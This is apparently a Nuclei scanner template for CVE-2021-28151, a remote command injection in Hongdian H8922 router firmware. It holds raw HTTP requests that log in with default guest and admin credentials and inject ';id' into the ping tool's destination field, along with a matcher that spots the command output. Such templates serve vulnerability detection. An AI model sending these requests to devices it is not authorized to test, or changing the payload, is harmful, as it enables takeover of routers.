id: CVE-2021-28151

info:
  name: Hongdian H8922 3.0.5 - Remote Command Injection
  author: gy741
  severity: high
  description: |
    Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28151
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-28151
    cwe-id: CWE-78
    epss-score: 0.27912
    epss-percentile: 0.97904
    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hongdian
    product: h8922_firmware
  tags: cve2021,cve,hongdian,rce,injection,vkev,vuln

http:
  - raw:
      - |
        POST /tools.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/tools.cgi

        op_type=ping&destination=%3Bid
      - |
        POST /tools.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/tools.cgi

        op_type=ping&destination=%3Bid

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"
          - "application/x-www-form-urlencoded"
        condition: or

      - type: regex
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100adbe2b71f01d6c3934844adc9b3103402eb2300a53ecb069f5d7128b19e937a8022100bb21fca0d8046b391f3fae07b2fd9b53b2501312d0444de5e1dd8d5f50cbf919:922c64590222798bb761d5b6d8e72950